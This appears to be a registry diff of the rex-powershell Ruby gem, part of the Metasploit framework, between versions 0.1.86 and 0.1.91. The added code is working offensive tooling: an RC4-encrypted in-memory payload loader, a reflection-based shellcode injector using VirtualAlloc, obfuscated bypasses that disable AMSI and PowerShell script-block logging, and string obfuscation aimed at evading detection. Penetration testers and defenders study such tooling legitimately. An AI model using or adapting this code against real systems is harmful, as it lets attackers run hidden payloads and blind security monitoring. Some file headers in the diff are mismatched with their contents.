rex-powershell 0.1.86 → 0.1.91
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/.travis.yml +1 -1
- data/data/templates/to_mem_pshreflection.ps1.template +5 -5
- data/data/templates/to_mem_rc4.ps1.template +40 -0
- data/lib/rex/powershell/command.rb +30 -8
- data/lib/rex/powershell/obfu.rb +87 -0
- data/lib/rex/powershell/output.rb +12 -4
- data/lib/rex/powershell/payload.rb +22 -0
- data/lib/rex/powershell/psh_methods.rb +24 -15
- data/lib/rex/powershell/version.rb +1 -1
- data/rex-powershell.gemspec +5 -5
- metadata +39 -38
- metadata.gz.sig +0 -0
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 03fb4a7843aafdad4a8a05217105768f959653f7b15c00273398afea46497385
|
4
|
+
data.tar.gz: 49fe72538e0fa7acc8a9f418cac9905d65e4fbf61e5b2b36cca4df6fbb20eee5
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 846f848e693acefa04b7850a983bfd52bccddc422d9454787fc241fc41323f55747f51d7707632fdca78376219ba7adee55c885b87b5d466376c95e1d5cf9993
|
7
|
+
data.tar.gz: e164850d612b3b32d98c5b620ef842f5ede29a86d5d5db0e0a8aa339aa471e01715a670be1ee75fa0223a823772df59ff16a05374ab06c0bfecb90f3d511a312
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
data.tar.gz.sig
CHANGED
Binary file
|
data/.travis.yml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
function %{func_get_proc_address} {
|
2
|
-
Param ($%{var_module}, $%{var_procedure})
|
2
|
+
Param ($%{var_module}, $%{var_procedure})
|
3
3
|
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
|
4
|
-
|
4
|
+
|
5
5
|
return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
|
6
6
|
}
|
7
7
|
|
@@ -10,16 +10,16 @@ function %{func_get_delegate_type} {
|
|
10
10
|
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
|
11
11
|
[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
|
12
12
|
)
|
13
|
-
|
13
|
+
|
14
14
|
$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
15
15
|
$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
16
16
|
$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
17
|
-
|
17
|
+
|
18
18
|
return $%{var_type_builder}.CreateType()
|
19
19
|
}
|
20
20
|
|
21
21
|
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
22
|
-
|
22
|
+
|
23
23
|
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
|
24
24
|
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
|
25
25
|
|
@@ -0,0 +1,40 @@
|
|
1
|
+
function %{func_rc4_decrypt} {
|
2
|
+
param([Byte[]]$%{var_rc4buffer})
|
3
|
+
|
4
|
+
$%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
|
5
|
+
|
6
|
+
$s = New-Object Byte[] 256;
|
7
|
+
$k = New-Object Byte[] 256;
|
8
|
+
|
9
|
+
for ($i = 0; $i -lt 256; $i++)
|
10
|
+
{
|
11
|
+
$s[$i] = [Byte]$i;
|
12
|
+
$k[$i] = $%{var_key}[$i %% $%{var_key}.Length];
|
13
|
+
}
|
14
|
+
|
15
|
+
$j = 0;
|
16
|
+
for ($i = 0; $i -lt 256; $i++)
|
17
|
+
{
|
18
|
+
$j = ($j + $s[$i] + $k[$i]) %% 256;
|
19
|
+
$temp = $s[$i];
|
20
|
+
$s[$i] = $s[$j];
|
21
|
+
$s[$j] = $temp;
|
22
|
+
}
|
23
|
+
|
24
|
+
$i = $j = 0;
|
25
|
+
for ($x = 0; $x -lt $%{var_rc4buffer}.Length; $x++)
|
26
|
+
{
|
27
|
+
$i = ($i + 1) %% 256;
|
28
|
+
$j = ($j + $s[$i]) %% 256;
|
29
|
+
$temp = $s[$i];
|
30
|
+
$s[$i] = $s[$j];
|
31
|
+
$s[$j] = $temp;
|
32
|
+
[int]$t = ($s[$i] + $s[$j]) %% 256;
|
33
|
+
$%{var_rc4buffer}[$x] = $%{var_rc4buffer}[$x] -bxor $s[$t];
|
34
|
+
}
|
35
|
+
|
36
|
+
$%{var_rc4buffer}
|
37
|
+
}
|
38
|
+
|
39
|
+
&([scriptblock]::create(([system.Text.Encoding]::UTF8).GetString((%{func_rc4_decrypt} ([System.Convert]::FromBase64String("%{b64payload}"))))))
|
40
|
+
|
@@ -123,6 +123,8 @@ module Command
|
|
123
123
|
# powershell profile (-NoProfile)
|
124
124
|
# @option opts [String] :windowstyle The window style to use
|
125
125
|
# (-WindowStyle)
|
126
|
+
# @option opts [String] :version The version of Powershell to run
|
127
|
+
# (-version)
|
126
128
|
#
|
127
129
|
# @return [String] Powershell command arguments
|
128
130
|
def self.generate_psh_args(opts)
|
@@ -157,6 +159,8 @@ module Command
|
|
157
159
|
arg_string << '-NoProfile ' if value
|
158
160
|
when :windowstyle
|
159
161
|
arg_string << "-WindowStyle #{value} " if value
|
162
|
+
when :version
|
163
|
+
arg_string << "-Version #{value} " if value
|
160
164
|
end
|
161
165
|
end
|
162
166
|
|
@@ -188,6 +192,7 @@ module Command
|
|
188
192
|
arg_string.gsub!('-OutputFormat ', '-o ')
|
189
193
|
arg_string.gsub!('-Sta ', '-s ')
|
190
194
|
arg_string.gsub!('-WindowStyle ', '-w ')
|
195
|
+
arg_string.gsub!('-Version ', '-v ')
|
191
196
|
end
|
192
197
|
|
193
198
|
# Strip off first space character
|
@@ -263,6 +268,12 @@ EOS
|
|
263
268
|
# @param opts [Hash] The options to generate the command
|
264
269
|
# @option opts [Boolean] :persist Loop the payload to cause
|
265
270
|
# re-execution if the shellcode finishes
|
271
|
+
# @option opts [String] :prepend A stub of Powershell code to prepend to the
|
272
|
+
# payload.
|
273
|
+
# @option opts [String] :prepend_inner A stub of Powershell code to prepend to
|
274
|
+
# the inner payload.
|
275
|
+
# @option opts [Boolean] :prepend_protections_bypass Prepend a stub that
|
276
|
+
# bypasses Powershell protections.
|
266
277
|
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
267
278
|
# before executing the payload
|
268
279
|
# @option opts [String] :method The powershell injection technique to
|
@@ -302,6 +313,14 @@ EOS
|
|
302
313
|
fail RuntimeError, 'No Powershell method specified'
|
303
314
|
end
|
304
315
|
|
316
|
+
if opts[:exec_rc4]
|
317
|
+
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
|
318
|
+
end
|
319
|
+
|
320
|
+
if opts[:prepend_inner]
|
321
|
+
psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
|
322
|
+
end
|
323
|
+
|
305
324
|
# Run our payload in a while loop
|
306
325
|
if opts[:persist]
|
307
326
|
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
@@ -317,12 +336,6 @@ EOS
|
|
317
336
|
end
|
318
337
|
|
319
338
|
compressed_payload = compress_script(psh_payload, nil, opts)
|
320
|
-
|
321
|
-
if opts[:prepend_protections_bypass]
|
322
|
-
bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
|
323
|
-
compressed_payload = bypass_amsi + ";" + compressed_payload
|
324
|
-
end
|
325
|
-
|
326
339
|
encoded_payload = encode_script(psh_payload, opts)
|
327
340
|
|
328
341
|
# This branch is probably never taken...
|
@@ -345,6 +358,15 @@ EOS
|
|
345
358
|
end
|
346
359
|
end
|
347
360
|
|
361
|
+
if opts[:prepend_protections_bypass]
|
362
|
+
bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
|
363
|
+
smallest_payload = bypass_amsi + ";" + smallest_payload
|
364
|
+
end
|
365
|
+
|
366
|
+
if opts[:prepend]
|
367
|
+
smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
|
368
|
+
end
|
369
|
+
|
348
370
|
if opts[:exec_in_place]
|
349
371
|
final_payload = smallest_payload
|
350
372
|
else
|
@@ -355,8 +377,8 @@ EOS
|
|
355
377
|
end
|
356
378
|
|
357
379
|
command_args = {
|
358
|
-
|
359
|
-
|
380
|
+
noprofile: true,
|
381
|
+
windowstyle: 'hidden'
|
360
382
|
}.merge(opts)
|
361
383
|
|
362
384
|
if opts[:encode_final_payload]
|
data/lib/rex/powershell/obfu.rb
CHANGED
@@ -12,6 +12,92 @@ module Powershell
|
|
12
12
|
WHITESPACE_REGEX = Regexp.new(/\s+/)
|
13
13
|
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
|
14
14
|
|
15
|
+
#
|
16
|
+
# Obfuscate a Powershell literal string value. The character set of the string is limited to alpha-numeric
|
17
|
+
# characters and some punctuation. This routine will use a combination of of techniques including formatting and
|
18
|
+
# concatenation. The result is an expression that can either be passed to a function or assigned to a variable.
|
19
|
+
#
|
20
|
+
# @param [String] string The string value to obfuscate.
|
21
|
+
# @param [Float] threshold A floating point value between 0 and 1 that controls how much of the string is
|
22
|
+
# obfuscated. Higher values result in more obfuscation while 0 returns the original string without any
|
23
|
+
# obfuscation.
|
24
|
+
# @return [String] An obfuscated Powershell expression that evaluates to the specified string.
|
25
|
+
def self.scate_string_literal(string, threshold: 0.15)
|
26
|
+
# this hasn't been thoroughly tested for strings that contain alot of punctuation, just simple ones like
|
27
|
+
# 'AmsiUtils', the most important characters that are assumed to be missing are quotes and braces
|
28
|
+
raise ArgumentError.new('string contains an unsupported character') if string =~ /[^a-zA-Z0-9,+=\.\/]/
|
29
|
+
raise ArgumentError.new('threshold must be between 0 and 1') unless threshold.between?(0, 1)
|
30
|
+
|
31
|
+
new = original = string
|
32
|
+
occurrences = {}
|
33
|
+
original.each_char { |char|
|
34
|
+
occurrences[char] = 0 unless occurrences.key?(char)
|
35
|
+
occurrences[char] += 1
|
36
|
+
}
|
37
|
+
char_map = occurrences.group_by { |k,v| v }.sort_by { |k,v| -k }.map { |k,v| v.shuffle }.flatten(1)
|
38
|
+
|
39
|
+
# phase 1
|
40
|
+
format = []
|
41
|
+
char_subs = 0.0
|
42
|
+
while (char_subs / original.length.to_f) < threshold
|
43
|
+
orig_char, occurrence_count = char_map.pop
|
44
|
+
new = new.gsub(/(?<!\{)#{Regexp.escape(orig_char)}(?!\})/, "{#{format.length}}")
|
45
|
+
format << "'#{orig_char}'"
|
46
|
+
char_subs += occurrence_count
|
47
|
+
end
|
48
|
+
|
49
|
+
# phase 2
|
50
|
+
concat = "'+'"
|
51
|
+
positions = threshold > 0 ? (0..new.length).to_a.shuffle[0..(new.length * threshold)] : []
|
52
|
+
positions.sort!
|
53
|
+
positions.each_with_index do |position, index|
|
54
|
+
new = new.insert(position + (index * concat.length), concat)
|
55
|
+
end
|
56
|
+
|
57
|
+
new = "'#{new}'"
|
58
|
+
new = "(#{new})" unless threshold == 0
|
59
|
+
|
60
|
+
final = new
|
61
|
+
final << "-f#{format.join(',')}" unless format.empty?
|
62
|
+
final = "(#{final})" unless format.empty? && threshold == 0
|
63
|
+
final
|
64
|
+
end
|
65
|
+
|
66
|
+
#
|
67
|
+
# Deobfuscate a Powershell literal string value that was previously obfuscated by #scate_string_literal.
|
68
|
+
#
|
69
|
+
# @param [String] string The obfuscated Powershell expression to deobfuscate.
|
70
|
+
# @raises [RuntimeError] If the string can not be deobfuscated, for example because it was randomized using a
|
71
|
+
# different routine, then an exception is raised.
|
72
|
+
# @return [String] The string literal value.
|
73
|
+
def self.descate_string_literal(string)
|
74
|
+
string = string.strip
|
75
|
+
nest_level = [string.match(/^(\(*)/)[0].length, string.match(/(\)*)$/)[0].length].min
|
76
|
+
string = string[nest_level...-nest_level].strip if nest_level > 0
|
77
|
+
format_args = nil
|
78
|
+
if (string =~ /\((?>[^)(]+|\g<0>)*\)/) == 0
|
79
|
+
format = Regexp.last_match(0)
|
80
|
+
format_args = string[format.length..-1].strip
|
81
|
+
unless format_args =~ /-f\s*('.',\s*)*('.')/
|
82
|
+
raise RuntimeError.new('The obfuscated string structure is unsupported')
|
83
|
+
end
|
84
|
+
format_args = format_args[2..-1].strip.scan(/'(.)'/).map { |match| match[0] }
|
85
|
+
string = format[1...-1].strip
|
86
|
+
end
|
87
|
+
|
88
|
+
unless string =~ /^'.*'$/
|
89
|
+
raise RuntimeError.new('The obfuscated string structure is unsupported')
|
90
|
+
end
|
91
|
+
string = string.gsub(/'\s*\+\s*'/, '') # process all concatenation operations
|
92
|
+
unless format_args.nil? # process all format string operations
|
93
|
+
string = string.gsub(/\{\s*\d+\s*\}/) do |index|
|
94
|
+
format_args[index[1...-1].to_i]
|
95
|
+
end
|
96
|
+
end
|
97
|
+
|
98
|
+
string[1...-1]
|
99
|
+
end
|
100
|
+
|
15
101
|
#
|
16
102
|
# Remove comments
|
17
103
|
#
|
@@ -45,6 +131,7 @@ module Powershell
|
|
45
131
|
# @return [String] code with whitespace stripped
|
46
132
|
def strip_whitespace
|
47
133
|
code.gsub!(WHITESPACE_REGEX, ' ')
|
134
|
+
code.strip!
|
48
135
|
|
49
136
|
code
|
50
137
|
end
|
@@ -50,10 +50,11 @@ module Powershell
|
|
50
50
|
# Base64 encode the compressed file contents
|
51
51
|
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
52
52
|
|
53
|
+
|
53
54
|
# Build the powershell expression
|
54
55
|
# Decode base64 encoded command and create a stream object
|
55
56
|
psh_expression = "$s=New-Object System.IO.MemoryStream(,"
|
56
|
-
psh_expression << "[System.Convert]::FromBase64String(
|
57
|
+
psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)}));"
|
57
58
|
# Read & delete the first two bytes due to incompatibility with MS
|
58
59
|
psh_expression << '$s.ReadByte();'
|
59
60
|
psh_expression << '$s.ReadByte();'
|
@@ -109,7 +110,7 @@ module Powershell
|
|
109
110
|
# GzipStream operates on the Memory Stream
|
110
111
|
psh_expression << '(New-Object System.IO.MemoryStream(,'
|
111
112
|
# MemoryStream consists of base64 encoded compressed data
|
112
|
-
psh_expression << "[System.Convert]::FromBase64String(
|
113
|
+
psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)})))"
|
113
114
|
# Set the GzipStream to decompress its MemoryStream contents
|
114
115
|
psh_expression << ',[System.IO.Compression.CompressionMode]::Decompress)'
|
115
116
|
# Read the decoded, decompressed result into scriptblock contents
|
@@ -139,8 +140,15 @@ module Powershell
|
|
139
140
|
#
|
140
141
|
# @return [String] Decompressed powershell code
|
141
142
|
def decompress_code
|
142
|
-
# Extract substring with
|
143
|
-
|
143
|
+
# Extract substring with payload4
|
144
|
+
if @code =~ /FromBase64String\('([a-zA-z0-9\+\/=]*)'\)/
|
145
|
+
encoded_stream = Regexp.last_match(1)
|
146
|
+
elsif @code =~ /FromBase64String(\((?>[^)(]+|\g<1>)*\))/
|
147
|
+
encoded_stream = Obfu.descate_string_literal(Regexp.last_match(1))
|
148
|
+
else
|
149
|
+
raise RuntimeError, 'Failed to identify the base64 data'
|
150
|
+
end
|
151
|
+
|
144
152
|
# Decode and decompress the string
|
145
153
|
unencoded = Rex::Text.decode_base64(encoded_stream)
|
146
154
|
begin
|
@@ -1,5 +1,6 @@
|
|
1
1
|
# -*- coding: binary -*-
|
2
2
|
require 'rex/random_identifier'
|
3
|
+
require 'rc4'
|
3
4
|
|
4
5
|
module Rex
|
5
6
|
module Powershell
|
@@ -106,6 +107,27 @@ module Payload
|
|
106
107
|
read_replace_script_template(template_path, "to_mem_msil.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
107
108
|
end
|
108
109
|
|
110
|
+
#
|
111
|
+
# PSH script that executes an RC4 encrypted payload with Invoke-Expression
|
112
|
+
# by Adrian Vollmer (SySS GmbH, https://www.syss.de)
|
113
|
+
#
|
114
|
+
def self.to_win32pe_psh_rc4(template_path = TEMPLATE_DIR, code)
|
115
|
+
rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
|
116
|
+
rig.init_var(:func_rc4_decrypt)
|
117
|
+
rig.init_var(:var_rc4buffer)
|
118
|
+
rig.init_var(:var_key)
|
119
|
+
|
120
|
+
key = Rex::Text.rand_text_alpha(rand(8)+8)
|
121
|
+
rc4 = RC4.new(key)
|
122
|
+
enc_code = rc4.encrypt(code)
|
123
|
+
|
124
|
+
hash_sub = rig.to_h
|
125
|
+
hash_sub[:random_key] = key
|
126
|
+
hash_sub[:b64payload] = Rex::Text.encode_base64(enc_code)
|
127
|
+
|
128
|
+
read_replace_script_template(template_path, "to_mem_rc4.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
129
|
+
end
|
130
|
+
|
109
131
|
end
|
110
132
|
end
|
111
133
|
end
|
@@ -90,10 +90,13 @@ module Powershell
|
|
90
90
|
#
|
91
91
|
# @return [String] PowerShell code to bypass AMSI
|
92
92
|
def self.bypass_amsi()
|
93
|
-
|
94
|
-
$Ref=[Ref].Assembly.GetType('System.Management.Automation.
|
95
|
-
$Ref.GetField('
|
96
|
-
|
93
|
+
script = Script.new(<<-PSH
|
94
|
+
$Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
|
95
|
+
$Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
|
96
|
+
PSH
|
97
|
+
)
|
98
|
+
script.sub_vars
|
99
|
+
script
|
97
100
|
end
|
98
101
|
|
99
102
|
#
|
@@ -101,22 +104,28 @@ module Powershell
|
|
101
104
|
#
|
102
105
|
# @return [String] PowerShell code to bypass Script Block Logging
|
103
106
|
def self.bypass_script_log()
|
104
|
-
|
105
|
-
$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','
|
106
|
-
If($GPF){
|
107
|
+
script = Script.new(<<-PSH
|
108
|
+
$GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
|
109
|
+
If ($GPF) {
|
110
|
+
$SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
|
111
|
+
$EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
|
112
|
+
$EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
|
107
113
|
$GPC=$GPF.GetValue($null);
|
108
|
-
If($GPC[
|
109
|
-
$GPC[
|
110
|
-
$GPC[
|
114
|
+
If($GPC[$SBL]){
|
115
|
+
$GPC[$SBL][$EnableSBL]=0;
|
116
|
+
$GPC[$SBL][$EnableSBIL]=0;
|
111
117
|
}
|
112
118
|
$val=[Collections.Generic.Dictionary[string,System.Object]]::new();
|
113
|
-
$val.Add(
|
114
|
-
$val.Add(
|
115
|
-
$GPC['HKEY_LOCAL_MACHINE
|
119
|
+
$val.Add($EnableSBL,0);
|
120
|
+
$val.Add($EnableSBIL,0);
|
121
|
+
$GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
|
116
122
|
} Else {
|
117
|
-
[ScriptBlock].GetField('signatures','
|
123
|
+
[ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
|
118
124
|
}
|
119
|
-
|
125
|
+
PSH
|
126
|
+
)
|
127
|
+
script.sub_vars
|
128
|
+
script
|
120
129
|
end
|
121
130
|
|
122
131
|
#
|
data/rex-powershell.gemspec
CHANGED
@@ -6,8 +6,8 @@ require 'rex/powershell/version'
|
|
6
6
|
Gem::Specification.new do |spec|
|
7
7
|
spec.name = "rex-powershell"
|
8
8
|
spec.version = Rex::Powershell::VERSION
|
9
|
-
spec.authors = [
|
10
|
-
spec.email = [
|
9
|
+
spec.authors = ['Metasploit Hackers']
|
10
|
+
spec.email = ['msfdev@metasploit.com']
|
11
11
|
|
12
12
|
spec.summary = %q{Rex Powershell Utilities}
|
13
13
|
spec.description = %q{Ruby Exploitation(Rex) library for generating/manipulating Powershell scripts}
|
@@ -20,10 +20,10 @@ Gem::Specification.new do |spec|
|
|
20
20
|
|
21
21
|
spec.required_ruby_version = '>= 2.2.0'
|
22
22
|
|
23
|
-
spec.add_development_dependency "
|
24
|
-
spec.add_development_dependency "
|
25
|
-
spec.add_development_dependency "rspec", "~> 3.0"
|
23
|
+
spec.add_development_dependency "rake"
|
24
|
+
spec.add_development_dependency "rspec"
|
26
25
|
|
27
26
|
spec.add_runtime_dependency 'rex-text'
|
28
27
|
spec.add_runtime_dependency 'rex-random_identifier'
|
28
|
+
spec.add_runtime_dependency 'ruby-rc4'
|
29
29
|
end
|
metadata
CHANGED
@@ -1,10 +1,10 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-powershell
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.91
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
|
-
-
|
7
|
+
- Metasploit Hackers
|
8
8
|
autorequire:
|
9
9
|
bindir: exe
|
10
10
|
cert_chain:
|
@@ -64,20 +64,20 @@ cert_chain:
|
|
64
64
|
-----END CERTIFICATE-----
|
65
65
|
- |
|
66
66
|
-----BEGIN CERTIFICATE-----
|
67
|
-
|
67
|
+
MIIFIzCCBAugAwIBAgIQCMePMbkSxvnPeJhYXIfaxzANBgkqhkiG9w0BAQsFADBy
|
68
68
|
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
|
69
69
|
d3cuZGlnaWNlcnQuY29tMTEwLwYDVQQDEyhEaWdpQ2VydCBTSEEyIEFzc3VyZWQg
|
70
|
-
|
70
|
+
SUQgQ29kZSBTaWduaW5nIENBMB4XDTIwMTAwNzAwMDAwMFoXDTIzMTEwNjEyMDAw
|
71
71
|
MFowYDELMAkGA1UEBhMCVVMxFjAUBgNVBAgTDU1hc3NhY2h1c2V0dHMxDzANBgNV
|
72
72
|
BAcTBkJvc3RvbjETMBEGA1UEChMKUmFwaWQ3IExMQzETMBEGA1UEAxMKUmFwaWQ3
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
|
79
|
-
|
80
|
-
|
73
|
+
IExMQzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALNTz4zvAy7h/vQp
|
74
|
+
4dr1txXHlABAagkwYYwTMCtHs5PXsJITx/5SAjx5swuaLfze5kPBNF2YImvFlOXY
|
75
|
+
WaB+0PsOnXnaARsDZU683xFlj8izU6IN6VrAHzDLKFBzruJENrOJD/ikbEtbjO/q
|
76
|
+
gFbmS9J9v5ohG/pcRSS0t4ZPAwymf8eCp6QsvOKK/Aymp1RhlRaP8N6N5CIpkhz1
|
77
|
+
9p968iCE+DjOXVYxcWE+jE/7uB1dbgrXykNBujMSS3GULOvVEY28n6NCmrPlo23g
|
78
|
+
yRjYVJ2Vy14nBqnxDZ/yRIfWRVjWoT9TsAEbe9gY29oDpSCSs4wSmLQd5zGCpZ9h
|
79
|
+
r0HDFB8CAwEAAaOCAcUwggHBMB8GA1UdIwQYMBaAFFrEuXsqCqOl6nEDwGD5LfZl
|
80
|
+
dQ5YMB0GA1UdDgQWBBTLBL7DTwumVEKtdCdpHVYMXOFeDzAOBgNVHQ8BAf8EBAMC
|
81
81
|
B4AwEwYDVR0lBAwwCgYIKwYBBQUHAwMwdwYDVR0fBHAwbjA1oDOgMYYvaHR0cDov
|
82
82
|
L2NybDMuZGlnaWNlcnQuY29tL3NoYTItYXNzdXJlZC1jcy1nMS5jcmwwNaAzoDGG
|
83
83
|
L2h0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWFzc3VyZWQtY3MtZzEuY3Js
|
@@ -86,59 +86,59 @@ cert_chain:
|
|
86
86
|
JAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBOBggrBgEFBQcw
|
87
87
|
AoZCaHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMkFzc3Vy
|
88
88
|
ZWRJRENvZGVTaWduaW5nQ0EuY3J0MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEL
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
|
93
|
-
|
94
|
-
|
89
|
+
BQADggEBAN+GL5/myPWg7oH4mVrG7/OhXF1MoYQF0ddaNiqaweEHMuKJBQCVZRbL
|
90
|
+
37HojoKXXv2yyRJBCeTB+ojrxX+5PdLVZa0ss7toWzJ2A1poPXZ1eZvm5xeFD32z
|
91
|
+
YQaTmmNWNI3PCDTyJ2PXUc+bDiNNwcZ7yc5o78UNRvp9Jxghya17Q76c9Ov9wvnv
|
92
|
+
dxxQKWGOQy0m4fBrkyjAyH9Djjn81RbQrqYgPuhd5nD0HjN3VUQLhQbIJrk9TVs0
|
93
|
+
EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
|
94
|
+
9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
|
95
95
|
-----END CERTIFICATE-----
|
96
|
-
date:
|
96
|
+
date: 2021-07-09 00:00:00.000000000 Z
|
97
97
|
dependencies:
|
98
98
|
- !ruby/object:Gem::Dependency
|
99
|
-
name:
|
99
|
+
name: rake
|
100
100
|
requirement: !ruby/object:Gem::Requirement
|
101
101
|
requirements:
|
102
|
-
- - "
|
102
|
+
- - ">="
|
103
103
|
- !ruby/object:Gem::Version
|
104
|
-
version: '
|
104
|
+
version: '0'
|
105
105
|
type: :development
|
106
106
|
prerelease: false
|
107
107
|
version_requirements: !ruby/object:Gem::Requirement
|
108
108
|
requirements:
|
109
|
-
- - "
|
109
|
+
- - ">="
|
110
110
|
- !ruby/object:Gem::Version
|
111
|
-
version: '
|
111
|
+
version: '0'
|
112
112
|
- !ruby/object:Gem::Dependency
|
113
|
-
name:
|
113
|
+
name: rspec
|
114
114
|
requirement: !ruby/object:Gem::Requirement
|
115
115
|
requirements:
|
116
|
-
- - "
|
116
|
+
- - ">="
|
117
117
|
- !ruby/object:Gem::Version
|
118
|
-
version: '
|
118
|
+
version: '0'
|
119
119
|
type: :development
|
120
120
|
prerelease: false
|
121
121
|
version_requirements: !ruby/object:Gem::Requirement
|
122
122
|
requirements:
|
123
|
-
- - "
|
123
|
+
- - ">="
|
124
124
|
- !ruby/object:Gem::Version
|
125
|
-
version: '
|
125
|
+
version: '0'
|
126
126
|
- !ruby/object:Gem::Dependency
|
127
|
-
name:
|
127
|
+
name: rex-text
|
128
128
|
requirement: !ruby/object:Gem::Requirement
|
129
129
|
requirements:
|
130
|
-
- - "
|
130
|
+
- - ">="
|
131
131
|
- !ruby/object:Gem::Version
|
132
|
-
version: '
|
133
|
-
type: :
|
132
|
+
version: '0'
|
133
|
+
type: :runtime
|
134
134
|
prerelease: false
|
135
135
|
version_requirements: !ruby/object:Gem::Requirement
|
136
136
|
requirements:
|
137
|
-
- - "
|
137
|
+
- - ">="
|
138
138
|
- !ruby/object:Gem::Version
|
139
|
-
version: '
|
139
|
+
version: '0'
|
140
140
|
- !ruby/object:Gem::Dependency
|
141
|
-
name: rex-
|
141
|
+
name: rex-random_identifier
|
142
142
|
requirement: !ruby/object:Gem::Requirement
|
143
143
|
requirements:
|
144
144
|
- - ">="
|
@@ -152,7 +152,7 @@ dependencies:
|
|
152
152
|
- !ruby/object:Gem::Version
|
153
153
|
version: '0'
|
154
154
|
- !ruby/object:Gem::Dependency
|
155
|
-
name:
|
155
|
+
name: ruby-rc4
|
156
156
|
requirement: !ruby/object:Gem::Requirement
|
157
157
|
requirements:
|
158
158
|
- - ">="
|
@@ -168,7 +168,7 @@ dependencies:
|
|
168
168
|
